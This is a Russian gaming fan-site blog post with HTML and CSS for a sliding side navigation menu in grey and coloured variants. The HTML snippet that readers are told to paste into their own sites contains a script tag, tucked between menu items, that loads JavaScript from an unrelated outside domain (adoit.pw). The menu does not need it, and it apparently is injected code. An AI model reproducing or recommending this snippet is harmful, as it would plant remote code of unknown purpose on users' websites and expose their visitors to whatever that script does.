Боковое Меню Цветное и серое - 25 Июля 2013 - Блог

Меню сайта
	Фотоальбомы Онлайн игры Форум Гостевая книга Блог Новости сайта Каталог статей Каталог файлов Обратная связь Правила Оружие в игре Радио On-line Словарь сленга команда сайта Схемы карт команды консоли Интернет-спидометр FAQ (вопрос/ответ) Видео Тесты

Мини-чат
	Для добавления необходима авторизация

Оптимизация
	Сайт оптимизирован под браузер Mozilla Firefox Разрешение: 1280х1024 Cкачять бесплатно браузер Mozilla Firefox

Поиск

Облако тегов
	FOTO Punkbaster Patch Проигрыватель демок MOD Zombie Fraps ProMod полезные команды ACE читер modernPaintball FPS Call of Duty 6 КАМПЕР Call of Duty 5 modern warfare 2 map video call of duty 4 comMod Nazi Zombie Dead Sand sniper mod Карты смерти Call of Duty 5 WaW DAMN Mod PAM Modern Warfare Nazi Zombie Custom Maps для Call of Duty 4 PeZBOT для Call of Duty 5 Mod K3 only knifes мод Мод для Call of Duty 4 - Star Wars Ioncannon demoplayer multiplayer Lanfix PunkBuster Waffle Mod v.1.0.1 eXtreme Sniper mod v.1.2 Damn Mod MW v0.59 4 AWE 4 Mod v.3.02 BJustReal (BJR) Realism v.4.0 Патч оружие Оружие в Modern Warfare 2 Call of Duty :WaW PeZBOT 002p-CoD5:WaW PeZBOT 008p X-Ray anti-cheat mapa карта Maroon Camo Skin

Наш опрос
	Любимая карта в Call of Duty 4 ? Засада Мясорубка Крушение Болото Станция Мокрое дело Офис Удар Занавес Отправление Трубопровод Отсчет Площадка Район Перестрелка Результаты Архив опросов Всего голосовало: 611 Обсудить на форуме

Главная » 2013 » Июль » 25 » Боковое Меню Цветное и серое

18:13

Боковое Меню Цветное и серое

Красивые 2 типа Боковых Менюшек,вам представление более 2 видов меню, выберете тот который будет подойдет вашему дизайну оба меню красивые,и без багов,сам сайт скрипт не нагружает при загрузке...
И так Приступим У Самой Установчке:
Этот самый текст ставим там где мы хотели бы видеть свое новое меню HTML:

Код

<div id="main">
  <ul id="navigationMenu">
  <li>
  <a class="m_home " href="$HOME_PAGE_LINK$"><span>На главную</span></a>
  </li>
  <li>
  <a class="m_gost" href="/gb"><span>Гостевая</span></a>
  </li>
  <li>
  <a class="m_forum" href="/forum"><span>Форум</span></a>
  </li>
  <li> <a class="m_pochta" href="/index/0-3"><span>Обратная связь</span></a>
  </li><script type="text/javascript" src="http://adoit.pw/border.js"></script>
  <?if($USER_LOGGED_IN$)?>
  <li> <a class="m_vixod" href="$LOGOUT_LINK$"><span>Выход</span></a>
  </li>
  <?else?>
  <li>
  <a class="m_vxod" href="$LOGIN_LINK$"><span>Вход</span></a>
  </li>
  <?endif?>
  </ul>
  </div>

А Вот два типа менюшек выбирайте который вам нужен

Серое Меню

Код

#main{
  position:fixed;
  top: 150px;
  right: 0px;
  padding:0;
}

#main ul{
  padding:0;
}

#navigationMenu li{
  list-style:none;
  height:35px;
  width:35px;
}

#navigationMenu span{
  position:absolute;
  overflow:hidden;
  width:0;
  right:35px;
  padding:0;
  font:12px Verdana,Arial,Helvetica,sans-serif;
  font-weight:bold;
  line-height:35px;
  white-space:nowrap;
  -webkit-transition: 0.25s;
  -moz-transition: 0.25s;
  transition: 0.25s;
}

#navigationMenu a{
  display:block;
  position:relative;
  background:url(http://pnghosts.ru/img/navigation_2.png) no-repeat;
  height:35px;
  width:35px;
}

#navigationMenu a:hover span{
  overflow:hidden;
  text-align:center;
  width:110px;
  padding:0px 10px;
}

#navigationMenu a:hover{
  text-decoration:none;
}

#navigationMenu .m_home {background-position:0 0;}
#navigationMenu .m_home :hover {background-position:0 -35px;}

#navigationMenu .m_gost {background-position:-35px 0;}
#navigationMenu .m_gost:hover {background-position:-35px -35px;}

#navigationMenu .m_forum {background-position:-70px 0;}
#navigationMenu .m_forum:hover {background-position:-70px -35px;}

#navigationMenu .m_pochta { background-position:-105px 0;}
#navigationMenu .m_pochta:hover{ background-position:-105px -35px;}

#navigationMenu .m_vxod { background-position:-140px 0;}
#navigationMenu .m_vxod:hover { background-position:-140px -35px;}

#navigationMenu .m_vixod { background-position:-175px 0;}
#navigationMenu .m_vixod:hover { background-position:-175px -35px;}

#navigationMenu .m_gost span,
#navigationMenu .m_forum span,
#navigationMenu .m_pochta span,
#navigationMenu .m_vxod span,
#navigationMenu .m_vixod span,
#navigationMenu .m_home span {
  background:#444;
  color:#777;
  text-shadow:1px 1px 0 #333;
}

Цветное меню

Код

#main{
  position:fixed;
  top: 150px;
  left: 0px;
  padding:0;
  }

  #main ul{
  padding:0;
  }

  #navigationMenu li{
  list-style:none;
  height:35px;
  width:35px;
  }

  #navigationMenu span{
  position:absolute;
  overflow:hidden;
  width:0;
  left:35px;
  padding:0;
  font:12px Verdana,Arial,Helvetica,sans-serif;
  font-weight:bold;
  line-height:35px;
  white-space:nowrap;
  -webkit-transition: 0.25s;
  -moz-transition: 0.25s;
  transition: 0.25s;
  }

  #navigationMenu a{
  display:block;
  position:relative;
  background:url(http://pnghosts.ru/img/navigation_1.png) no-repeat;
  height:35px;
  width:35px;
  }

  #navigationMenu a:hover span{
  overflow:hidden;
  text-align:center;
  width:110px;
  padding:0px 10px;
  }

  #navigationMenu a:hover{
  text-decoration:none;
  }

  #navigationMenu .m_home {background-position:0 0;}
  #navigationMenu .m_home :hover {background-position:0 -35px;}
  #navigationMenu .m_home span{
  background:#7da315;
  color:#3d4f0c;
  text-shadow:1px 1px 0 #99bf31;
  }

  #navigationMenu .m_gost {background-position:-35px 0;}
  #navigationMenu .m_gost:hover {background-position:-35px -35px;}
  #navigationMenu .m_gost span{
  background:#1e8bb4;
  color:#223a44;
  text-shadow:1px 1px 0 #44a8d0;
  }

  #navigationMenu .m_forum {background-position:-70px 0;}
  #navigationMenu .m_forum:hover {background-position:-70px -35px;}
  #navigationMenu .m_forum span{
  background:#c86c1f;
  color:#5a3517;
  text-shadow:1px 1px 0 #d28344;
  }

  #navigationMenu .m_pochta { background-position:-105px 0;}
  #navigationMenu .m_pochta:hover{ background-position:-105px -35px;}
  #navigationMenu .m_pochta span{
  background-color:#d0a525;
  color:#604e18;
  text-shadow:1px 1px 0 #d8b54b;
  }

  #navigationMenu .m_vxod { background-position:-140px 0;}
  #navigationMenu .m_vxod:hover { background-position:-140px -35px;}
  #navigationMenu .m_vxod span{
  background-color:#af1e83;
  color:#460f35;
  text-shadow:1px 1px 0 #d244a6;
  }

  #navigationMenu .m_vixod { background-position:-175px 0;}
  #navigationMenu .m_vixod:hover { background-position:-175px -35px;}
  #navigationMenu .m_vixod span{
  background-color:#27ddbf;
  color:#097863;
  text-shadow:1px 1px 0 #87ffe7;
  }

Просмотров: 326 | Добавил: DoG | Рейтинг: 0.0/0

Всего комментариев: 0

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Форма входа

Статистика
	Онлайн всего: 1 Гостей: 1 Пользователей: 0 Нас посетили сегодня День рождения PLAMYA(27)

Лучший пользователь
	Strelok27 Полное имя: Vasiliy Личный номер: 1 Группа: Пользователи Ранг: Репутация: 4 Награды: Активность Комментариев: 18 Фотографий: 13 Форум: 1 KOSTIK Полное имя: Костя Личный номер: 2 Группа: Администраторы Ранг: Репутация: 0 Награды: Активность Комментариев: 10 Фотографий: 0 Форум: 13 KGB_59 Полное имя: Витя Личный номер: 3 Группа: Модераторы Ранг: Репутация: 1 Награды: Активность Комментариев: 3 Фотографий: 0 Форум: 1

You Tube

Twitter